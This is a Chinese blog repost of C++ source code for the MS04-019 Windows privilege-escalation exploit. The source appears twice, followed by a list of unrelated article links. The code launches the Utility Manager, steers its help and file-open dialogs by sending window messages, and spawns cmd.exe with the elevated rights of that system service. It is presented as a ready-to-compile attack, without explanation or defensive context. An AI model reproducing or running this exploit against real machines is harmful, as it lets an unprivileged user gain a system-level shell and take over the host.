Ms-0419 权限提升 C++的版本
来源:互联网 发布:知乎 李矛 编辑:程序博客网 时间:2024/05/22 11:29
// ms0419.cpp : 定义应用程序的入口点。Powered by barenx
//
#include "stdafx.h"
#include "ms0419.h"
#include "math.h"
//#define MAX_LOADSTRING 100
// 全局变量:
//HINSTANCE hInst; // 当前实例
//TCHAR szTitle[MAX_LOADSTRING]; // 标题栏文本
//TCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口类名
// 此代码模块中包含的函数的前向声明:
//ATOM MyRegisterClass(HINSTANCE hInstance);
//BOOL InitInstance(HINSTANCE, int);
//LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
//LRESULT CALLBACK About(HWND, UINT, WPARAM, LPARAM);
int set_lang(void);
struct ...{
int id;
char *utilman;
char *winhelp;
char *open;
} lang[] = ...{
...{ 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /**//* French */
...{ 0x09,"Utility manager","Windows Help","Open" }, /**//* English */
...{ 0x04,"辅助工具管理器","Windows 帮助","打开" } /**//* Chinese */
};
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
...{
HWND lHandle, lHandle2;
POINT point;
char cmd[]="%windir%/system32/cmd.ex?";
unsigned int i;
int lang_id,j;
//test time run this bagin
long needtime,needmin;
needtime=GetTickCount();
for(long tmp=0;tmp<=120000;tmp++)
...{
tmp/=1;
tmp*=1;
Sleep(0);
tmp++;
tmp/=1;
Sleep(0);
tmp--;
tmp*=1;
Sleep(0);
tmp=(long)(pow(tmp,1));
Sleep(0);
};
needtime=GetTickCount()-needtime;
needmin=(long)(needtime/3);
//test end
lang_id=set_lang();
for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++) if(lang[i].id==lang_id) break;
if(i==sizeof(lang)/sizeof(lang[0])) ...{return -1;}
WinExec("utilman.exe /start",SW_HIDE);
for(j=0;j<13;j++)
...{
Sleep(needtime);
lHandle=FindWindow("#32770", lang[i].utilman);
if(lHandle!=0)break;
}
if (!lHandle) return 0;
PostMessage(lHandle,0x313,0,0); //=right click on the app button in the
Sleep(needmin);
SendMessage(lHandle,0x365,0,0x1); //send WM_COMMANDHELP 0x0365 lParam must be<>NULL
Sleep(needmin);
PostMessage(lHandle, WM_QUIT, 0, 0);
for(j=0;j<7;j++)
...{
Sleep(needmin);
lHandle=FindWindow(NULL, lang[i].winhelp); //find help dialog
if(lHandle!=0)
...{
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0);
break;
}
}
if (!lHandle) return 0;
for(j=0;j<7;j++)
...{
Sleep(needmin);
lHandle = FindWindow("#32770",lang[i].open); //find open dialog
if(lHandle!=0)
...{
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
Sleep(needmin);
break;
}
}
if (!lHandle) return 0;
Sleep(needtime+needtime);//+needmin
lHandle2 = GetDlgItem(lHandle, 0x47C);
if (!lHandle2) return 0;
//Sleep(needmin);//+needmin
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)cmd);
Sleep(needmin);//+needmin
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
Sleep(needmin+needtime);//+needtime
lHandle2 = GetDlgItem(lHandle, 0x4A0);
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(needmin);
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
lHandle2 = GetDlgItem(lHandle2, 0x1);
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
SendMessage(lHandle,WM_SHOWWINDOW,true,SW_OTHERUNZOOM);
Sleep(needmin+5);
PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(needmin+needmin);
point.x =10; point.y =30;
lHandle2=WindowFromPoint(point);
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
Sleep(needtime);
SendMessage (lHandle, WM_CLOSE, 0, 0); //find open dialog
PostMessage (lHandle, WM_QUIT, 0, 0); //find open dialog
PostMessage (FindWindow(NULL, lang[i].winhelp), WM_QUIT, 0, 0);
return 0;
// TODO: 在此放置代码。
//MSG msg;
//HACCEL hAccelTable;
/**///// 初始化全局字符串
//LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
//LoadString(hInstance, IDC_MS0419, szWindowClass, MAX_LOADSTRING);
//MyRegisterClass(hInstance);
/**///// 执行应用程序初始化:
//if (!InitInstance (hInstance, nCmdShow))
//{
// return FALSE;
//}
//hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_MS0419);
/**///// 主消息循环:
//while (GetMessage(&msg, NULL, 0, 0))
//{
// if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
// {
// TranslateMessage(&msg);
// DispatchMessage(&msg);
// }
//}
//return (int) msg.wParam;
}
inline int set_lang(void)
...{
unsigned int lang_usr,lang_sys,id;
id=GetSystemDefaultLangID();
lang_sys=PRIMARYLANGID(id);
id=GetUserDefaultLangID();
lang_usr=PRIMARYLANGID(id);
if(lang_usr!=lang_sys) ...{
//printf("warning: user language differs from system language ");
//printf("1. system : ");print_lang(lang_sys);
//printf("2. user : ");print_lang(lang_usr);printf("Select(1-2): ");
//id=getch();
if(id!=49&&id!=50) ...{
//printf("wrong choice '%c', leaving. ",id);
exit(0);
}
if(id==49) ...{
//printf("system language ");
return lang_sys;
}
else;
//printf("user language ");
}
return lang_usr;
}
//
#include "stdafx.h"
#include "ms0419.h"
#include "math.h"
//#define MAX_LOADSTRING 100
// 全局变量:
//HINSTANCE hInst; // 当前实例
//TCHAR szTitle[MAX_LOADSTRING]; // 标题栏文本
//TCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口类名
// 此代码模块中包含的函数的前向声明:
//ATOM MyRegisterClass(HINSTANCE hInstance);
//BOOL InitInstance(HINSTANCE, int);
//LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
//LRESULT CALLBACK About(HWND, UINT, WPARAM, LPARAM);
int set_lang(void);
struct ...{
int id;
char *utilman;
char *winhelp;
char *open;
} lang[] = ...{
...{ 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /**//* French */
...{ 0x09,"Utility manager","Windows Help","Open" }, /**//* English */
...{ 0x04,"辅助工具管理器","Windows 帮助","打开" } /**//* Chinese */
};
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
...{
HWND lHandle, lHandle2;
POINT point;
char cmd[]="%windir%/system32/cmd.ex?";
unsigned int i;
int lang_id,j;
//test time run this bagin
long needtime,needmin;
needtime=GetTickCount();
for(long tmp=0;tmp<=120000;tmp++)
...{
tmp/=1;
tmp*=1;
Sleep(0);
tmp++;
tmp/=1;
Sleep(0);
tmp--;
tmp*=1;
Sleep(0);
tmp=(long)(pow(tmp,1));
Sleep(0);
};
needtime=GetTickCount()-needtime;
needmin=(long)(needtime/3);
//test end
lang_id=set_lang();
for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++) if(lang[i].id==lang_id) break;
if(i==sizeof(lang)/sizeof(lang[0])) ...{return -1;}
WinExec("utilman.exe /start",SW_HIDE);
for(j=0;j<13;j++)
...{
Sleep(needtime);
lHandle=FindWindow("#32770", lang[i].utilman);
if(lHandle!=0)break;
}
if (!lHandle) return 0;
PostMessage(lHandle,0x313,0,0); //=right click on the app button in the
Sleep(needmin);
SendMessage(lHandle,0x365,0,0x1); //send WM_COMMANDHELP 0x0365 lParam must be<>NULL
Sleep(needmin);
PostMessage(lHandle, WM_QUIT, 0, 0);
for(j=0;j<7;j++)
...{
Sleep(needmin);
lHandle=FindWindow(NULL, lang[i].winhelp); //find help dialog
if(lHandle!=0)
...{
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0);
break;
}
}
if (!lHandle) return 0;
for(j=0;j<7;j++)
...{
Sleep(needmin);
lHandle = FindWindow("#32770",lang[i].open); //find open dialog
if(lHandle!=0)
...{
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
Sleep(needmin);
break;
}
}
if (!lHandle) return 0;
Sleep(needtime+needtime);//+needmin
lHandle2 = GetDlgItem(lHandle, 0x47C);
if (!lHandle2) return 0;
//Sleep(needmin);//+needmin
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)cmd);
Sleep(needmin);//+needmin
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
Sleep(needmin+needtime);//+needtime
lHandle2 = GetDlgItem(lHandle, 0x4A0);
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(needmin);
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
lHandle2 = GetDlgItem(lHandle2, 0x1);
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
SendMessage(lHandle,WM_SHOWWINDOW,true,SW_OTHERUNZOOM);
Sleep(needmin+5);
PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(needmin+needmin);
point.x =10; point.y =30;
lHandle2=WindowFromPoint(point);
PostMessage(lHandle,WM_SHOWWINDOW,false,SW_PARENTCLOSING);
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
Sleep(needtime);
SendMessage (lHandle, WM_CLOSE, 0, 0); //find open dialog
PostMessage (lHandle, WM_QUIT, 0, 0); //find open dialog
PostMessage (FindWindow(NULL, lang[i].winhelp), WM_QUIT, 0, 0);
return 0;
// TODO: 在此放置代码。
//MSG msg;
//HACCEL hAccelTable;
/**///// 初始化全局字符串
//LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
//LoadString(hInstance, IDC_MS0419, szWindowClass, MAX_LOADSTRING);
//MyRegisterClass(hInstance);
/**///// 执行应用程序初始化:
//if (!InitInstance (hInstance, nCmdShow))
//{
// return FALSE;
//}
//hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_MS0419);
/**///// 主消息循环:
//while (GetMessage(&msg, NULL, 0, 0))
//{
// if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
// {
// TranslateMessage(&msg);
// DispatchMessage(&msg);
// }
//}
//return (int) msg.wParam;
}
inline int set_lang(void)
...{
unsigned int lang_usr,lang_sys,id;
id=GetSystemDefaultLangID();
lang_sys=PRIMARYLANGID(id);
id=GetUserDefaultLangID();
lang_usr=PRIMARYLANGID(id);
if(lang_usr!=lang_sys) ...{
//printf("warning: user language differs from system language ");
//printf("1. system : ");print_lang(lang_sys);
//printf("2. user : ");print_lang(lang_usr);printf("Select(1-2): ");
//id=getch();
if(id!=49&&id!=50) ...{
//printf("wrong choice '%c', leaving. ",id);
exit(0);
}
if(id==49) ...{
//printf("system language ");
return lang_sys;
}
else;
//printf("user language ");
}
return lang_usr;
}
- Ms-0419 权限提升 C++的版本
- Ms-0419 权限提升 代码
- 权限的提升
- 提升进程的权限
- 提升权限的方法
- 在vista或win7以上版本提升bat脚本的执行权限
- C#应用程序的UAC控制,提升应用程序权限。获得版本号码
- 在vista或win7以上版本提升bat脚本的执行权限
- 进程系统权限的提升
- UAC提升权限的细节
- 如何提升进程的权限
- SharePoint 权限提升的方法
- c++ 提升应用程序的权限
- 如何提升进程的权限
- c++ 进程权限的提升
- 进程提升权限的方法
- 提升windows权限的函数
- UAC提升权限的细节
- 实现IHttpHandler 接口可用.axd直接访问
- Request中getContextPath、getServletPath、getRequestURI、request.getRealPath的区别
- ASP.NET技巧:教你制做Web实时进度条
- Ms-0419 权限提升 代码
- 矩阵转置算法,当不能把矩阵一次全部装入内存时
- Ms-0419 权限提升 C++的版本
- jboss jndi
- UDDI v3中的关键概念2:键控制策略(uuidKey 、domainKey、derivedKey )
- 技术修炼的六种方法之一——技术书籍
- pb编程中数据类型和变量的定义规则
- 从今天开始好好利用csdn.
- java中提示这样的错误 java.awt.AWTError: BoxLayout can't be shared
- 内联汇编的快速CRC32
- 2008脚本大赛PowerShell高级组Event 3解题及分析